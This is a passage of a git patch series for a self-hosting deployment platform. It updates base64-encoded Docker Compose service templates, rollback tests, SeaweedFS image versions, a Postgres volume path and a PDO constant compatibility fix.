VD0ke1RZUEVPUk1fUE9SVDotNTQzMn0nCiAgICAgIC0gJ1RZUEVPUk1fTE9HR0lORz0ke1RZUEVPUk1fTE9HR0lORzotZmFsc2V9JwogICAgICAtICdSRURJU19VUkw9JHtSRURJU19VUkw6LXJlZGlzOi8vcmVkaXM6NjM3OX0nCiAgICAgIC0gJ0dSSVNUX0hFTFBfQ0VOVEVSPSR7U0VSVklDRV9GUUROX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX0ZRRE49JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L3Rlcm1zJwogICAgICAtICdGUkVFX0NPQUNISU5HX0NBTExfVVJMPSR7RlJFRV9DT0FDSElOR19DQUxMX1VSTH0nCiAgICAgIC0gJ0dSSVNUX0NPTlRBQ1RfU1VQUE9SVF9VUkw9JHtDT05UQUNUX1NVUFBPUlRfVVJMfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0LWRhdGE6L3BlcnNpc3QnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5vZGUKICAgICAgICAtICctZScKICAgICAgICAtICJyZXF1aXJlKCdodHRwJykuZ2V0KCdodHRwOi8vbG9jYWxob3N0Ojg0ODQvc3RhdHVzJywgcmVzID0+IHByb2Nlc3MuZXhpdChyZXMuc3RhdHVzQ29kZSA9PT0gMjAwID8gMCA6IDEpKSIKICAgICAgICAtICc+IC9kZXYvbnVsbCAyPiYxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREFUQUJBU0U6LWdyaXN0LWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6NycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK", + "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfODQ4NAogICAgICAtICdBUFBfSE9NRV9VUkw9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9QT1JUPSR7VFlQRU9STV9QT1JUOi01NDMyfScKICAgICAgLSAnVFlQRU9STV9MT0dHSU5HPSR7VFlQRU9STV9MT0dHSU5HOi1mYWxzZX0nCiAgICAgIC0gJ1JFRElTX1VSTD0ke1JFRElTX1VSTDotcmVkaXM6Ly9yZWRpczo2Mzc5fScKICAgICAgLSAnR1JJU1RfSEVMUF9DRU5URVI9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L2hlbHAnCiAgICAgIC0gJ0dSSVNUX1RFUk1TX09GX1NFUlZJQ0VfRlFETj0ke1NFUlZJQ0VfRlFETl9HUklTVH0vdGVybXMnCiAgICAgIC0gJ0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkw9JHtGUkVFX0NPQUNISU5HX0NBTExfVVJMfScKICAgICAgLSAnR1JJU1RfQ09OVEFDVF9TVVBQT1JUX1VSTD0ke0NPTlRBQ1RfU1VQUE9SVF9VUkx9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3QtZGF0YTovcGVyc2lzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gInJlcXVpcmUoJ2h0dHAnKS5nZXQoJ2h0dHA6Ly9sb2NhbGhvc3Q6ODQ4NC9zdGF0dXMnLCByZXMgPT4gcHJvY2Vzcy5leGl0KHJlcy5zdGF0dXNDb2RlID09PSAyMDAgPyAwIDogMSkpIgogICAgICAgIC0gJz4gL2Rldi9udWxsIDI+JjEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAo=", "tags": [ "lowcode", "nocode", @@ -1902,7 +1902,7 @@ "category": "productivity", "logo": "svgs/grist.svg", "minversion": "0.0.0", - "port": "443" + "port": "8484" }, "grocy": { "documentation": "https://github.com/grocy/grocy?utm_source=coolify.io", @@ -2830,21 +2830,6 @@ "minversion": "0.0.0", "port": "8080" }, - "minio-community-edition": { - "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io", - "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.", - "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "object", - "storage", - "server", - "s3", - "api" - ], - "category": "storage", - "logo": "svgs/minio.svg", - "minversion": "0.0.0" - }, "mixpost": { "documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io", "slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.", @@ -5246,5 +5231,17 @@ "logo": "svgs/marimo.svg", "minversion": "0.0.0", "port": "8080" + }, + "pydio-cells": { + "documentation": "https://docs.pydio.com/?utm_source=coolify.io", + "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.", + "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DRUxMU184MDgwCiAgICAgIC0gJ0NFTExTX1NJVEVfRVhURVJOQUw9JHtTRVJWSUNFX0ZRRE5fQ0VMTFN9JwogICAgICAtIENFTExTX1NJVEVfTk9fVExTPTEKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2NlbGxzX2RhdGE6L3Zhci9jZWxscycKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOjExJwogICAgdm9sdW1lczoKICAgICAgLSAnbXlzcWxfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTFJPT1R9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1jZWxsc30nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiA1Cg==", + "tags": [ + "storage" + ], + "category": null, + "logo": "svgs/cells.svg", + "minversion": "0.0.0", + "port": "8080" } } diff --git a/tests/Feature/ApplicationRollbackTest.php b/tests/Feature/ApplicationRollbackTest.php index 2b6141a92..bb0ced763 100644 --- a/tests/Feature/ApplicationRollbackTest.php +++ b/tests/Feature/ApplicationRollbackTest.php @@ -38,7 +38,7 @@ 'is_git_shallow_clone_enabled' => false, ]); - $rollbackCommit = 'abc123def456'; + $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; $result = $this->application->setGitImportSettings( deployment_uuid: 'test-uuid', @@ -56,7 +56,7 @@ 'is_git_shallow_clone_enabled' => true, ]); - $rollbackCommit = 'abc123def456'; + $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; $result = $this->application->setGitImportSettings( deployment_uuid: 'test-uuid', @@ -71,7 +71,7 @@ }); test('setGitImportSettings falls back to git_commit_sha when no commit passed', function () { - $this->application->update(['git_commit_sha' => 'def789abc012']); + $this->application->update(['git_commit_sha' => 'def789abc012def789abc012def789abc012def7']); ApplicationSetting::create([ 'application_id' => $this->application->id, @@ -84,7 +84,7 @@ public: true, ); - expect($result)->toContain('def789abc012'); + expect($result)->toContain('def789abc012def789abc012def789abc012def7'); }); test('setGitImportSettings does not append checkout when commit is HEAD', function () { From 45d991565e31a45c8bc41018f3123043a77886fa Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?F=C3=A1bio=20Henrique=20Ara=C3=BAjo?= Date: Mon, 2 Mar 2026 20:04:29 -0300 Subject: [PATCH 127/305] Update SeaweedFS images to version 4.13 --- templates/compose/seaweedfs.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/templates/compose/seaweedfs.yaml b/templates/compose/seaweedfs.yaml index d8b57906b..fabcca50d 100644 --- a/templates/compose/seaweedfs.yaml +++ b/templates/compose/seaweedfs.yaml @@ -7,7 +7,7 @@ services: seaweedfs-master: - image: chrislusf/seaweedfs:4.05 + image: chrislusf/seaweedfs:4.13 environment: - SERVICE_URL_S3_8333 - AWS_ACCESS_KEY_ID=${SERVICE_USER_S3} @@ -61,7 +61,7 @@ services: retries: 10 seaweedfs-admin: - image: chrislusf/seaweedfs:4.05 + image: chrislusf/seaweedfs:4.13 environment: - SERVICE_URL_ADMIN_23646 - SEAWEED_USER_ADMIN=${SERVICE_USER_ADMIN} From 9597bfb8026f345a860f309b335daa2784629370 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Tue, 3 Mar 2026 11:20:40 +0530 Subject: [PATCH 128/305] fix(service): cloudreve doesn't persist data across restarts --- templates/compose/cloudreve.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/cloudreve.yaml b/templates/compose/cloudreve.yaml index 39ea8181f..88a2d2109 100644 --- a/templates/compose/cloudreve.yaml +++ b/templates/compose/cloudreve.yaml @@ -38,7 +38,7 @@ services: - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES} - POSTGRES_DB=${POSTGRES_DB:-cloudreve-db} volumes: - - postgres-data:/var/lib/postgresql/data + - postgres-data:/var/lib/postgresql healthcheck: test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"] interval: 10s From e4fae68f0e00381048c91bef95861df59ef62000 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 08:54:58 +0100 Subject: [PATCH 129/305] docs(application): add comments explaining commit selection logic for rollback support Add clarifying comments to the setGitImportSettings method explaining how the commit selection works, including the fallback to git_commit_sha and that invalid refs will cause failures on the remote server. This documents the behavior introduced for proper rollback commit handling. Also remove an extra blank line for minor code cleanup. --- app/Models/Application.php | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/app/Models/Application.php b/app/Models/Application.php index b4272b3c7..a4f51780e 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1093,6 +1093,8 @@ public function setGitImportSettings(string $deployment_uuid, string $git_clone_ $escapedBaseDir = escapeshellarg($baseDir); $isShallowCloneEnabled = $this->settings?->is_git_shallow_clone_enabled ?? false; + // Use the explicitly passed commit (e.g. from rollback), falling back to the application's git_commit_sha. + // Invalid refs will cause the git checkout/fetch command to fail on the remote server. $commitToUse = $commit ?? $this->git_commit_sha; if ($commitToUse !== 'HEAD') { @@ -1964,7 +1966,6 @@ public function parseHealthcheckFromDockerfile($dockerfile, bool $isInit = false } } - public function getLimits(): array { return [ From d2744e0cfff4a4df511a640e1ccbad841ccff134 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 3 Mar 2026 09:04:45 +0100 Subject: [PATCH 130/305] fix(database): handle PDO constant name change for PGSQL_ATTR_DISABLE_PREPARES Support both the older PDO::PGSQL_ATTR_DISABLE_PREPARES and newer Pdo\Pgsql::ATTR_DISABLE_PREPARES constant names to ensure compatibility across different PHP versions. --- config/database.php | 2 +- templates/service-templates-latest.json | 31 +++++++++++-------------- templates/service-templates.json | 31 +++++++++++-------------- 3 files changed, 29 insertions(+), 35 deletions(-) diff --git a/config/database.php b/config/database.php index 79da0eaf7..a5e0ba703 100644 --- a/config/database.php +++ b/config/database.php @@ -49,7 +49,7 @@ 'search_path' => 'public', 'sslmode' => 'prefer', 'options' => [ - PDO::PGSQL_ATTR_DISABLE_PREPARES => env('DB_DISABLE_PREPARES', false), + (defined('Pdo\Pgsql::ATTR_DISABLE_PREPARES') ? \Pdo\Pgsql::ATTR_DISABLE_PREPARES : \PDO::PGSQL_ATTR_DISABLE_PREPARES) => env('DB_DISABLE_PREPARES', false), ], ], diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index a9f653460..e343e6293 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -1891,7 +1891,7 @@ "grist": { "documentation": "https://support.getgrist.com/?utm_source=coolify.io", "slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.", - "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUklTVF80NDMKICAgICAgLSAnQVBQX0hPTUVfVVJMPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdHUklTVF9TVVBQT1JUX0FOT049JHtTVVBQT1JUX0FOT046LWZhbHNlfScKICAgICAgLSAnR1JJU1RfRk9SQ0VfTE9HSU49JHtGT1JDRV9MT0dJTjotdHJ1ZX0nCiAgICAgIC0gJ0NPT0tJRV9NQVhfQUdFPSR7Q09PS0lFX01BWF9BR0U6LTg2NDAwMDAwfScKICAgICAgLSAnR1JJU1RfUEFHRV9USVRMRV9TVUZGSVg9JHtQQUdFX1RJVExFX1NVRkZJWDotIC0gU3VmZml4fScKICAgICAgLSAnR1JJU1RfSElERV9VSV9FTEVNRU5UUz0ke0hJREVfVUlfRUxFTUVOVFM6LWJpbGxpbmcsc2VuZFRvRHJpdmUsc3VwcG9ydEdyaXN0LG11bHRpQWNjb3VudHMsdHV0b3JpYWxzfScKICAgICAgLSAnR1JJU1RfVUlfRkVBVFVSRVM9JHtVSV9GRUFUVVJFUzotaGVscENlbnRlcixiaWxsaW5nLHRlbXBsYXRlcyxjcmVhdGVTaXRlLG11bHRpU2l0ZSxzZW5kVG9Ecml2ZSx0dXRvcmlhbHMsc3VwcG9ydEdyaXN0fScKICAgICAgLSAnR1JJU1RfREVGQVVMVF9FTUFJTD0ke0RFRkFVTFRfRU1BSUw6LXRlc3RAZXhhbXBsZS5jb219JwogICAgICAtICdHUklTVF9PUkdfSU5fUEFUSD0ke09SR19JTl9QQVRIOi10cnVlfScKICAgICAgLSAnR1JJU1RfT0lEQ19TUF9IT1NUPSR7U0VSVklDRV9VUkxfR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1R9JwogICAgICAtICdUWVBFT1JNX1BPUlQ9JHtUWVBFT1JNX1BPUlQ6LTU0MzJ9JwogICAgICAtICdUWVBFT1JNX0xPR0dJTkc9JHtUWVBFT1JNX0xPR0dJTkc6LWZhbHNlfScKICAgICAgLSAnUkVESVNfVVJMPSR7UkVESVNfVVJMOi1yZWRpczovL3JlZGlzOjYzNzl9JwogICAgICAtICdHUklTVF9IRUxQX0NFTlRFUj0ke1NFUlZJQ0VfVVJMX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX1VSTD0ke1NFUlZJQ0VfVVJMX0dSSVNUfS90ZXJtcycKICAgICAgLSAnRlJFRV9DT0FDSElOR19DQUxMX1VSTD0ke0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkx9JwogICAgICAtICdHUklTVF9DT05UQUNUX1NVUFBPUlRfVVJMPSR7Q09OVEFDVF9TVVBQT1JUX1VSTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdC1kYXRhOi9wZXJzaXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBub2RlCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAicmVxdWlyZSgnaHR0cCcpLmdldCgnaHR0cDovL2xvY2FsaG9zdDo4NDg0L3N0YXR1cycsIHJlcyA9PiBwcm9jZXNzLmV4aXQocmVzLnN0YXR1c0NvZGUgPT09IDIwMCA/IDAgOiAxKSkiCiAgICAgICAgLSAnPiAvZGV2L251bGwgMj4mMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNicKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDIwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjcnCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNs